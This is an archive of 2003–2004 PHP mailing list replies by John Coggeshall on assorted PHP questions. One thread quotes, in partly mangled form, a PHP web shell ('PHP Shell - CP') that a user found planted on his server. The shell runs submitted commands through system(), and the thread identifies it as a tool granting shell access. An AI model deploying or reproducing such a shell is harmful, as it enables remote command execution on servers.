Re: [PHP] Is there any blog code available for php5?

2004-10-07 Thread John Coggeshall
www.s9y.org

I am pretty sure it can support multi-user, although i don't know if
there is an admin interface yet for that.

John

On Thu, 2004-10-07 at 19:32, Teng Wang wrote:
> I tried some but all got failures.
> I prefer the blog with calendar and multi-users
> 
> Thanks a lot!
> 
> 
> eruisi
> 10/07/2004
> 19:31:22
-- 
-=~=--=~=--=~=--=~=--=~=--=~=--=~=--=~=--=~=--=~=--=~=--=~=-
John Coggeshall   http://www.coggeshall.org/
-=~=--=~=--=~=--=~=--=~=--=~=--=~=--=~=--=~=--=~=--=~=--=~=-

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Is a PECL a black whole?

2004-09-03 Thread John Coggeshall
> > It is the same thing than pear, but most of extensions are written with 
> > C in order to increase performance.

Increases in performance aren't the only reason, but it is a reason.

> > tidy is a php extension (PECL), for example.

Yes.

> > Php extensions are all that is not in the php core.

Not true. In the future there are hopes of moving all PHP extensions to
PECL and simply bundling the latest stable release of a extension from
PECL as part of the main PHP distribution. For instance, Tidy is a part
of the standard PHP 5.0 distribution although it lives in PECL.

John

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Hire a developer

2004-08-29 Thread John Coggeshall


0x19)?chr(${0x32}):${
chr(0xD)}[${0x32}];++${0x0};}echo "{${""}}\n"?>

:-D

John



On Sun, 2004-08-29 at 18:57, John Holmes wrote:
> Jim Grill wrote:
> 
> > Incase anyone was wanting to hire John, I've cracked the code. Phear me, I
> > great H4x0r.
> > 
> >  > // system requirements: PIV 3.0GHz 1.5GB RAM - 3D graphics accelerator -
> > 14.4 Fax Modem.
> > // make sure your turbo button is in the on position
> > $eml = '*&hn[foo]h&l!$s(_2_)littler$dpsar%[foo]c&!';
> > 
> > $rplc = array
> >   (
> > '$' => 'e',
> > '&' => 'o',
> > '[foo]' => '.',
> > '(_2_)' => '@',
> > 'ps' => 'sp',
> > 'little' => 'big',
> > '%' => 'k',
> > '!' => 'm',
> > '*' => 'j'
> >   );
> > while (list($k,$v) = each($rplc))
> > {
> >   echo "Got key: $k - replacing with $v";
> >   if  ($v == '@')
> > echo 'Ah-ha! Phear me!';
> >   $eml = str_replace($k, $v, $eml);
> > }
> > echo 'l33t code Warning:  phear me in this here file on
> > line 25';
> > echo ''.$eml.'';
> > ?>
> > 
> > I'd like to suggest this as the official PHP mailing list email format for
> > Mondays, Tuesdays, Rainy days, and all through May... if I may...you hear
> > what I say?
> 
> lol.. you guys crack me up.
> 
> Wouldn't
> 
> str_replace(array_keys($rplc),$rplc,$eml);
> 
> be better, though?
> 
> 
> -- 
> 
> ---John Holmes...
> 
> Amazon Wishlist: www.amazon.com/o/registry/3BEXC84AB3A5E/
> 
> php|architect: The Magazine for PHP Professionals â www.phparch.com
-- 
-=~=--=~=--=~=--=~=--=~=--=~=--=~=--=~=--=~=--=~=--=~=--=~=-
John Coggeshall   http://www.coggeshall.org/
The PHP Developer's Handbookhttp://www.php-handbook.com/
-=~=--=~=--=~=--=~=--=~=--=~=--=~=--=~=--=~=--=~=--=~=--=~=-

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] What does it take to give a good technical presentation?

2004-03-19 Thread John Coggeshall
ng them being distracted by something you are
controlling will help recapture their attention when you have something
they are about to say. 

> interesting of a speaker you are, though, maybe you'll need these to keep
> your audience interested.  In the Army, we're allowed to have color on the
> first slide only, then everything else is black and white with minimal
> graphics (no decorations). Not only does this make things cleaner and easier
> to export to other formats if necessary, it also makes the whole package
> smaller and easier to provide for download and distribution. This leads me
> into the next topic.

Trying to draw a connection between php|cruise and the army when it
comes to giving a presentation is probably as far from the reality of
the situation you could possibly get. :) 

I think you make some valid points, but as you see I do disagree with
you on a number of issues. 

John
-- 
-=~=--=~=--=~=--=~=--=~=--=~=--=~=--=~=--=~=--=~=--=~=--=~=-
John Coggeshall   http://www.coggeshall.org/
The PHP Developer's Handbookhttp://www.php-handbook.com/
-=~=--=~=--=~=--=~=--=~=--=~=--=~=--=~=--=~=--=~=--=~=--=~=-

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] Whitespace filter

2003-12-05 Thread John Coggeshall
You can also use the tidy extension.

http://pecl.php.net/package-info.php?package=tidy

John

On Fri, 2003-12-05 at 20:23, Chris W. Parker wrote:
> Justin Hendrickson 
> on Friday, December 05, 2003 5:51 AM said:
> 
> > Does anyone have an eloquent way to strip redundant whitespace without
> > harming whitespace inside ,  or 

Re: [PHP] Re: PHP|Con insane pricing

2003-09-16 Thread John Coggeshall
> These gatherings are most likely for people sponsored by their employers, don't
> imagine participants come out of it $500 smarter then they went in. If it makes
> you feel good to hang out for 5 minutes with "the big guys" then borrow money and
> go, if learning is your goal, a good book and mostly practice will get you there.

Consider that many of these "good books" you speak of are written by
people whom are speaking at the conference :)

John

-- 
-~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~-
John Coggeshall http://www.coggeshall.org/
john at coggeshall dot org 

The PHP Developer's Handbook
The definitive PHP5 developer's guide http://www.php-handbook.com/
-~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~-

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Possible My Website was hacked... with PHP... please tellme what this is???

2003-07-31 Thread John Coggeshall
Looks like it is a PHP script to give people shell access as the web
server user.


On Thu, 2003-07-31 at 02:06, Joe Harman wrote:
> I found this on my server... I have no idea what it is... can someone
> tell me what it does... 
> 
>  
> 
> Thanks
> 
>  
> 
> --
> 
>  
> 
>  
> 
> PHP Shell - CP
> 
> 
> 
>  alink="#00">
> 
> Crime
> Perfect
> 
> PHP Shell - by _m4st3r_c0d3
> 
>  
> /* First we check if there has been asked for a working directory. */
> 
> if (isset($work_dir)) {
> 
> /* A workdir has been asked for - we chdir to that dir. */
> 
> chdir($work_dir);
> 
> $work_dir = exec("pwd");
> 
> } else {
> 
> /* No work_dir - we chdir to $DOCUMENT_ROOT */
> 
> chdir($DOCUMENT_ROOT);
> 
> $work_dir = $DOCUMENT_ROOT;
> 
> }
> 
> ?>
> 
> 
> 
> Diretório em que você está no momento:
> 
>  
> $work_dir_splitted = explode("/", substr($work_dir, 1));
> 
> echo "Root/";
> 
> if ($work_dir_splitted[0] == "") {
> 
> $work_dir = "/"; /* Root directory. */
> 
> } else {
> 
> for ($i = 0; $i < count($work_dir_splitted); $i++) {
> 
> /* echo "i = $i";*/
> 
> $url .= "/".$work_dir_splitted[$i];
> 
> echo "$work_dir_splitted[$i]/";
> 
> }
> 
> }
> 
> ?>
> 
> 
> 
> Escolha abaixo o diretório em que deseja ir:
> 
> 
> 
>  
> /* Now we make a list of the directories. */
> 
> $dir_handle = opendir($work_dir);
> 
> /* Run through all the files and directories to find the dirs. */
> 
> while ($dir = readdir($dir_handle)) {
> 
> if (is_dir($dir)) {
> 
> if ($dir == ".") {
> 
> echo "Current
> Directory\n";
> 
> } elseif ($dir == "..") {
> 
> /* We have found the parent dir. We must be carefull if the parent
> 
> directory is the root directory (/). */
> 
> if (strlen($work_dir) == 1) {
> 
> /* work_dir is only 1 charecter - it can only be / */
> 
> } elseif (strrpos($work_dir, "/") == 0) {
> 
> /* The last / in work_dir were the first charecter.
> 
> This means that we have a top-level directory
> 
> eg. /bin or /home etc... */
> 
> echo "Parent Directory\n";
> 
> } else {
> 
> /* We do a little bit of string-manipulation to find the parent
> 
> directory... Trust me - it works :-) */
> 
> echo " 1)) ."\">Parent Directory\n";
> 
> }
> 
> } else {
> 
> if ($work_dir == "/") {
> 
> echo "$dir\n";
> 
> } else {
> 
> echo "$dir\n";
> 
> }
> 
> }
> 
> }
> 
> }
> 
> closedir($dir_handle);
> 
> ?>
> 
> 
> 
> Digite abaixo os comandos que deseja executar:
> 
>  "value=\"$command\"";} ?> >  value="Execute Command">
> 
> Ligar/Ativar stderr-trapping?
> 
> 
> 
> Abaixo, terminal onde aparecerá os resultados dos comandos
> que
> 
> você executou
> 
> 
> 
> 
> 
>  
> if ($command) {
> 
> if ($stderr) {
> 
> system($command . " 1> /tmp/output.txt 2>&1; cat /tmp/output.txt; rm
> /tmp/output.txt");
> 
> } else {
> 
> system($command);
> 
> }
> 
> }
> 
> ?>
> 
> 
> 
> 
> 
> 
> 
>  
> 
> Crime Perfect 2003 
> 
> By _m4st3r_c0d3 - #crimeperfect
> 
> 
> 
> 
> 
> 
> 
>  
> 
>  
> Joe Harman
> 
> http://www.HarmanMedia.com
> 
> Only two things are infinite, the universe and human stupidity, and I'm
> not sure about the former. - Albert Einstein 
>  
-- 
-~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~-
John Coggeshall http://www.coggeshall.org/
john at coggeshall dot org 

The PHP Developer's Handbook
The definitive PHP5 developer's guide http://www.php-handbook.com/
-~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~-


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Image Verification (On Submit)

2003-07-01 Thread John Coggeshall
> Can someone give me a suggestion or a howto where could I get some idea on
> how to do image verification? Like on yahoo.com signup where you need to
> enter the text on the image to process your order.

It's not a difficult process.. Basically, Design an image which has a
lot of noise in the background (some sort of odd pattern) and then use
the GD functions to write a string on top of that pattern and display it
on your form (and keep track of the string you wrote).. then ask the
user to type that string in and check it on submit :)

John

-- 
-~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~-
John Coggeshall
john at coggeshall dot org http://www.coggeshall.org/
-~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~-


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] PHP Programmer Needed!

2003-07-01 Thread John Coggeshall
I may be interested if you haven't filled the spot yet.

John

On Fri, 2003-06-27 at 02:55, Erica Ziegler-Roberts wrote:
> I am swamped with work and need a php expert who is familiar with IC-Radius
> to do the following project for me. If it can be done by Monday, I will be
> willing to pay more. You must be able to accept payment through Paypal,
> Yahoo Paydirect, or Check/Money Order. Project details are below.
> 
> This is a php or cgi script that listens on the proper ports for dialup
> authentication requests and replys based on a DB either mysql or flat file
> or whatever... just like Microsofts IAS radius server..
> 
> we have used this IAS but it is far to manual to be effective...hense this
> script..
> 
> the radius script needs to be able to update its DB via a post to a URL or
> networked to get from the main DB to the machine to be used to run this
> script...
> 
> I.e..
> ADDING...
> http://radiusserver/radius.php or
> cgi?action=add_user&method=post&radiusweb_username=ADMINUSERNAME&radiusweb_p
> assword=ADMINPASSWORD&diapupusername=DIALUPPUSERNAME&diapupuserpassword=DIAL
> UPPUSERPASSWORD
> 
> DELETING..
> http://radiusserver/radius.php or
> cgi?Action=delete_user&method=post&radiusweb_username=ADMINUSERNAME&radiuswe
> b_password=ADMINPASSWORD&dialupusername=DIALUPPUSERNAME&confirm=yes
> 
> The Idea is that as we add and remove customers from the main DB it will
> auto add and remove the dialup from the radius DB so customers can login or
> not respectivly..
> 
> The main DB is Filemaker Pro and we have it running scripts to add and
> remove 'post a url' in this fashion to an outsourced Linux box running
> ICRADIUS..
> 
> We simply want to move this setup or improve it but to run inhouse on
> Windows NT 5 machines.. running perl 5.x and Php 4.x
> 
> let me know if you are unclear or need more explination on the setup...
> 
> --
> Erica Ziegler-Roberts
> [EMAIL PROTECTED]
> Manager of Internet Technology
> 513-232-1689 (office)
> 513-232-1651 (fax)
> FCS (Frizzy's Computer Services)
> Customizing technology for you!
> 
> 
> 
> 
> -- 
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
> 
-- 
-~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~-
John Coggeshall
john at coggeshall dot org http://www.coggeshall.org/
-~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~-

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] PHP5 with MySQL on windows

2003-06-29 Thread John Coggeshall
On Sun, 2003-06-29 at 14:19, [EMAIL PROTECTED] wrote:
> However, MySQL support is no longer there. There doesn't seem to by any dll
> for mysql in the extensions subdirectory. 

http://bugs.php.net/bug.php?id=24389

This issue has been addressed and is now available in the snap build of
PHP5.0 available at http://snaps.php.net/ 

John
-- 
-~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~-
John Coggeshall
john at coggeshall dot org http://www.coggeshall.org/
-~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~-


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] @getimagesize

2003-06-03 Thread John Coggeshall
Are you using PHP 4.3.2? Try upgrading :)

John

On Tue, 2003-06-03 at 05:23, Diana Castillo wrote:
> I use @getimagesize to resize pictures that I get from a url which comes
> from a database which is always changing.  The problem is that sometimes the
> url does not contain the picture is is supposed to , and then I get the
> following error - I can't seem to get rid of this error, does anyone know
> how to capture the error so it doesnt come out in a message like this?
> getimagesize(http://www.hotelresb2b.com/images/hoteles/P1KYHC014833.JPG)
> [function.getimagesize]: failed to create stream: HTTP request failed!
> HTTP/1.1 404 Not Found at ReservationManager.php line 299.
> 
> 
> 
> 
> -- 
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
> 
-- 
-~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~-
John Coggeshall
john at coggeshall dot org http://www.coggeshall.org/
-~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~-

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Validating user input

2003-06-03 Thread John Coggeshall

Try this... I don't know if this will suit your needs but it'll give you
an idea:

 0 && $a < 24) {

$time = number_format($a, 2, '.', '');
echo "Time: $time\n\n";
} else {

echo "Invaild Time.\n\n";
}

?>

Regards,

John
-- 
-~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~-
John Coggeshall
john at coggeshall dot org http://www.coggeshall.org/
-~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~-

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] Broken links report

2003-06-03 Thread John Coggeshall
On Tue, 2003-06-03 at 04:06, Ernest E Vogelsinger wrote:
> At 07:55 03.06.2003, Kjell Hansen said:
> [snip]
> >I don't want to get the warning. I know I can switch it off but there are
> >other warnings I would like to see.
> [snip] 
> 
> Just to omit the warning, you may use the silent-error notation
> @fopen($url, 'r');
> but this will always work unless the host portion of the URL cannot be
> resolved.

Another alternative is to look into the track_errors INI directive which
will populate the $php_errormsg variable with the last error that
occurred... in that case something like the following could be done:

$fr = @fopen("http://www.coggeshall.org/myfile.php";,'r');
if(!$fr) {
echo "The error that occurred was $php_errormsg";
// Do test on the error message here
}  

Although that won't be absolutely full-proof (since there is no absolute
which says that the error message "failed to open stream: HTTP request
failed! HTTP/1.0 404 Not Found" is going to be identical in new PHP
versions) it is an option to consider.

John
-- 
-~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~-
John Coggeshall
john at coggeshall dot org http://www.coggeshall.org/
-~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~-

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] php5 writeup

2003-04-04 Thread John Coggeshall

>Parse error: parse error in 
>/local/Web/sites/talks/presentations/slides/php5intro/namespace.php on 
>line 2*
>
>*Is this how it should work? ;-)*

In Sterling's Defense, the server running this code isn't PHP5 :) Hence,
some of the examples don't work.

John


-~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~-
John Coggeshall
john at coggeshall dot org  http://www.coggeshall.org/
-~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~-


>-Original Message-
>From: Marek Kilimajer [mailto:[EMAIL PROTECTED] 
>Sent: Friday, April 04, 2003 8:48 AM
>To: Dan Rossi
>Cc: Php-General
>Subject: Re: [PHP] php5 writeup
>
>
>http://talks.php.net/show/php5intro/3 :
>
>Parse error: parse error in 
>/local/Web/sites/talks/presentations/slides/php5intro/namespace.php on 
>line 2*
>
>*Is this how it should work? ;-)*
>*
>Dan Rossi wrote:
>
>>just found this http://talks.php.net/show.php/php5intro/
>>
>>  
>>
>
>
>-- 
>PHP General Mailing List (http://www.php.net/)
>To unsubscribe, visit: http://www.php.net/unsub.php
>
>


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] is register globals off ready for prime time

2003-04-04 Thread John Coggeshall

He's wrong.

John


-~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~-
John Coggeshall
john at coggeshall dot org  http://www.coggeshall.org/
-~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~-


>-Original Message-
>From: Ray Todd Stevens [mailto:[EMAIL PROTECTED] 
>Sent: Friday, April 04, 2003 7:47 AM
>To: [EMAIL PROTECTED]
>Subject: [PHP] is register globals off ready for prime time
>
>
>Working on a project where we have an off shore developer.   We 
>are runnig 4.3 and have turned register globals off.  He says that 
>this option is not ready for production use and breaks php 
>internally.  
>I have never heard this before.   Has anyone heard this, or 
>experienced this.
>
>--
>Ray Todd Stevens Specialists in Network and Security 
>Consulting
>Senior ConsultantSoftware audit service available
>Stevens Services
>Suite 21
>3754 Old State Rd 37 N
>Bedford, IN 47421
>(812) 279-9394
>[EMAIL PROTECTED]
>
>Thought for the day:
>Dictatorship (n): a form of government under which everything 
>which is not prohibited is compulsory.
>
>
>For PGP public key send message with subject 
>please send PGP key
>
>If this message refers to an attachment the attachment
>may arrive as a seperate mail message depending on the
>type of mail client and gateway software you are using.
>
>
>-- 
>PHP General Mailing List (http://www.php.net/)
>To unsubscribe, visit: http://www.php.net/unsub.php
>
>


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] newbie help, pressing the submit button returns nothing

2003-04-04 Thread John Coggeshall

Chances are register_globals is off...

Try using $_POST['UserName'] instead of $UserName

John


-~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~-
John Coggeshall
john at coggeshall dot org  http://www.coggeshall.org/
-~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~-


>-Original Message-
>From: David McGlone [mailto:[EMAIL PROTECTED] 
>Sent: Friday, April 04, 2003 7:38 AM
>To: [EMAIL PROTECTED]
>Subject: [PHP] newbie help, pressing the submit button returns nothing
>
>
>Hi all, I have a real quick question. I'm trying to learn PHP 
>and right now im 
>working with variables, anyway, I cannot get the code below to work 
>correctly, could anyone help me out here the problem is, when 
>you submit the 
>name, the name will not appear at all.
>
> 
>
>
>
>Name:
>
>
>
>
>Your name is:
>
>echo ($UserName);
>?>
>
>
>-- 
>David M.
>Edification Web Solutions
>http://www.edificationweb.com
>
>-- 
>PHP General Mailing List (http://www.php.net/)
>To unsubscribe, visit: http://www.php.net/unsub.php
>
>


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] generate all permutations possible? (twist)

2003-04-03 Thread John Coggeshall

>I'm sure there's a function for outputting a number in hex.

$number = 1234;

Printf("Hexadecimal number: 0x%X", $number);


Output:

Hexadecimal number: 0x4D2

John


-~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~-
John Coggeshall
john at coggeshall dot org  http://www.coggeshall.org/
-~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~-



-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] Can php run as a script?

2003-04-03 Thread John Coggeshall

>Note that any errors will be chucked back to the terminal in HTML.

Only if you are using the CGI version of PHP. The CLI version prints
errors, etc without HTML.

John



-~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~-
John Coggeshall
john at coggeshall dot org  http://www.coggeshall.org/
-~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~-


>-Original Message-
>From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] 
>Sent: Thursday, April 03, 2003 2:38 AM
>To: [EMAIL PROTECTED]
>Subject: Re: [PHP] Can php run as a script?
>
>
>
>PHP can run as a script indeed.
>
>#!/usr/bin/php
>
>Do that like you would perl and then make it executable. Should work.
>
>
>
>
>On 4/2/2003, "Poon, Kelvin (Infomart)" <[EMAIL PROTECTED]> wrote:
>
>>Hi,
>>
>>This might be a newbie question but I can't find an answer anywhere I 
>>search.  I know php can be excuted by a web browser, but can 
>it run as 
>>a script like Perl?
>>
>>The reason i ask is, I need to write a php script that updates a 
>>database
>in
>>a server.  And this script needs to be running in the background as a 
>>service, that's why i was wondering if I can excute it like a perl 
>>script.
>>
>>If it can't, do you guys know if I can use perl to call up a php 
>>script?
>>
>>Please advise.
>>
>>Thanks,
>>Kelvin
>>
>>--
>>PHP General Mailing List (http://www.php.net/)
>>To unsubscribe, visit: http://www.php.net/unsub.php
>>
>>
>>
>
>Edd Barrett
>(http://www.filibusta.net)
>
>-- 
>PHP General Mailing List (http://www.php.net/)
>To unsubscribe, visit: http://www.php.net/unsub.php
>
>


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] Deleting Objects

2003-04-02 Thread John Coggeshall
 
yes, that's what I meant :) sorry if I was unclear... if any references
to a given variable still exist then the variable is not destroied in
memory.
 
 -Original Message-
From: Leif K-Brooks [mailto:[EMAIL PROTECTED] 
Sent: Thursday, April 03, 2003 12:55 AM
To: John Coggeshall
Cc: [EMAIL PROTECTED]; [EMAIL PROTECTED]
Subject: Re: [PHP] Deleting Objects



Not exactly true.  unset() destroys the reference to the value, not the
value itself.  For instance,

error_reporting(E_ALL);
$var1 = "foo";
$var2 = &$var1;
print "$var1\n$var2\n\n";
unset($var1);
print "$var1\n$var2";

will output:

foo
foo


Notice:  Undefined variable:  var1 in PHPDocument1 on line
7

foo

In other words, unsetting $var1 will NOT destroy $var2.

John Coggeshall wrote:


If you want to force a variable to be

destroied, just unset() it.

  


-- 

The above message is encrypted with double rot13 encoding.  Any
unauthorized attempt to decrypt it will be prosecuted to the full extent
of the law.




RE: [PHP] QUESTION - user management

2003-04-02 Thread John Coggeshall
>> How do applications know how many users are logged into the system?
>For
>> example postnuke will tell you '3 users online, 2 members'. 
>Im gussing
>it
>> uses sessions, but how?

Basically it keeps track of the active sessions for the total user #,
and then determines how many of those sessions are 'logged in'

John



-~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~-
John Coggeshall
john at coggeshall dot org  http://www.coggeshall.org/
-~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~-


>-Original Message-
>From: Matt Giddings [mailto:[EMAIL PROTECTED] 
>Sent: Thursday, April 03, 2003 12:31 AM
>To: [EMAIL PROTECTED]; [EMAIL PROTECTED]
>Subject: RE: [PHP] QUESTION - user management
>
>
>Someone recently posted code for this exact topic on 
>phpclasses.org, follow the link below.
>
>http://phpclasses.mirrors.nyphp.org/browse.html/package/1018.html
>
>Matt
>
>> -Original Message-
>> From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]
>> Sent: Wednesday, April 02, 2003 5:58 AM
>> To: [EMAIL PROTECTED]
>> Subject: [PHP] QUESTION - user management
>> 
>> 
>> How do applications know how many users are logged into the system?
>For
>> example postnuke will tell you '3 users online, 2 members'. 
>Im gussing
>it
>> uses sessions, but how?
>> 
>> 
>> 
>> Edd Barrett
>> (http://www.filibusta.net)
>> 
>> --
>> PHP General Mailing List (http://www.php.net/)
>> To unsubscribe, visit: http://www.php.net/unsub.php
>> 
>> 
>> 
>> ---
>> Incoming mail is certified Virus Free.
>> Checked by AVG anti-virus system (http://www.grisoft.com).
>> Version: 6.0.463 / Virus Database: 262 - Release Date: 3/17/2003
>> 
>
>---
>Outgoing mail is certified Virus Free.
>Checked by AVG anti-virus system (http://www.grisoft.com).
>Version: 6.0.463 / Virus Database: 262 - Release Date: 3/17/2003
> 
>
>
>-- 
>PHP General Mailing List (http://www.php.net/)
>To unsubscribe, visit: http://www.php.net/unsub.php
>
>


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] Deleting Objects

2003-04-02 Thread John Coggeshall

>How does one delete an object?  For example:
>
>   $object = new Class(...);
>   .
>   $object = new Class(...);

PHP deletes any variable which is no longer referenced in memory.. So in
this case the first object that the variable $object pointed to will
automatically be destroied. If you want to force a variable to be
destroied, just unset() it.

So No it's not possible to "orphan" any object or variable in PHP.

John



-~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~-
John Coggeshall
john at coggeshall dot org  http://www.coggeshall.org/
-~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~-


>-Original Message-
>From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] 
>Sent: Thursday, April 03, 2003 12:07 AM
>To: [EMAIL PROTECTED]
>Subject: [PHP] Deleting Objects
>
>
>How does one delete an object?  For example:
>
>   $object = new Class(...);
>   .
>   $object = new Class(...);
>
>I want to throw away the old object and create a new, freshly 
>initialized one using the same variable.  Is the above 
>adequate or will 
>this orphan the first object?  If so is an unset($object) prior to the 
>second "new" the appropriate approach?
>
>Thanks,
>
> --
> Tom Rawson
>
>
>
>
>-- 
>PHP General Mailing List (http://www.php.net/)
>To unsubscribe, visit: http://www.php.net/unsub.php
>
>


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] Submit Image Button

2003-04-02 Thread John Coggeshall

Well you can ignore it if you don't need the X/Y cord... But you can use
it to make sure the button was clicked:

If(!$_GET['sub_x'] || !_GET['sub_y']) {
// display form
} else {
// it was submitted

-~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~-
John Coggeshall
john at coggeshall dot org  http://www.coggeshall.org/
-~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~-


>-Original Message-
>From: Thomas [mailto:[EMAIL PROTECTED] 
>Sent: Wednesday, April 02, 2003 9:39 PM
>To: [EMAIL PROTECTED]
>Subject: Re: [PHP] Submit Image Button
>
>
>ok, sorry I'm a newb...what do I do with that info?  I saw 
>that page, but it makes no sense to me
>
>Thomas
>
>
>"John Coggeshall" <[EMAIL PROTECTED]> wrote in message 
>news:[EMAIL PROTECTED]
>>
>> http://www.php.net/manual/en/language.variables.external.php
>>
>> 
>>
>> This creates variables $_GET['sub_x'] and $_GET['sub_y'] containing 
>> the X/Y cordinate where the button was clicked (assuming it was GET 
>> method form submission)
>>
>> John
>>
>> 
>-~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~-
>> John Coggeshall
>> john at coggeshall dot org  
>http://www.coggeshall.org/
>> 
>-~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~-
>>
>>
>> >-Original Message-
>> >From: Thomas [mailto:[EMAIL PROTECTED]
>> >Sent: Wednesday, April 02, 2003 9:27 PM
>> >To: [EMAIL PROTECTED]
>> >Subject: [PHP] Submit Image Button
>> >
>> >
>> >I have a problem with my php.
>> >
>> >I have a form and in that form there is an image submit 
>button.  When 
>> >I click on it, it won't tell me if the submit button is clicked. It 
>> >works fine with a normal one.
>> >
>> >sample:
>> >
>> >> > if (!$submit) {
>> >?>
>> >
>> >
>> >
>> >> >src="../News/themes/xFClan/button_submit.gif"
>> >border="0" name="submit" value="Login" width="55" height="19" 
>> >alt="Submit">
>> >
>> >
>> >> >} else {
>> >echo "you clicked";
>> >}
>> >?>
>> >
>> >If I use   This works finedo 
>I need to 
>> >do something else with the code? Help is very appreciated.
>> >
>> >Cheers.
>> >
>> >
>> >
>> >
>> >--
>> >PHP General Mailing List (http://www.php.net/)
>> >To unsubscribe, visit: http://www.php.net/unsub.php
>> >
>> >
>>
>
>
>
>-- 
>PHP General Mailing List (http://www.php.net/)
>To unsubscribe, visit: http://www.php.net/unsub.php
>
>


-- 
PHP General Mailing List (http://www.php.net/)
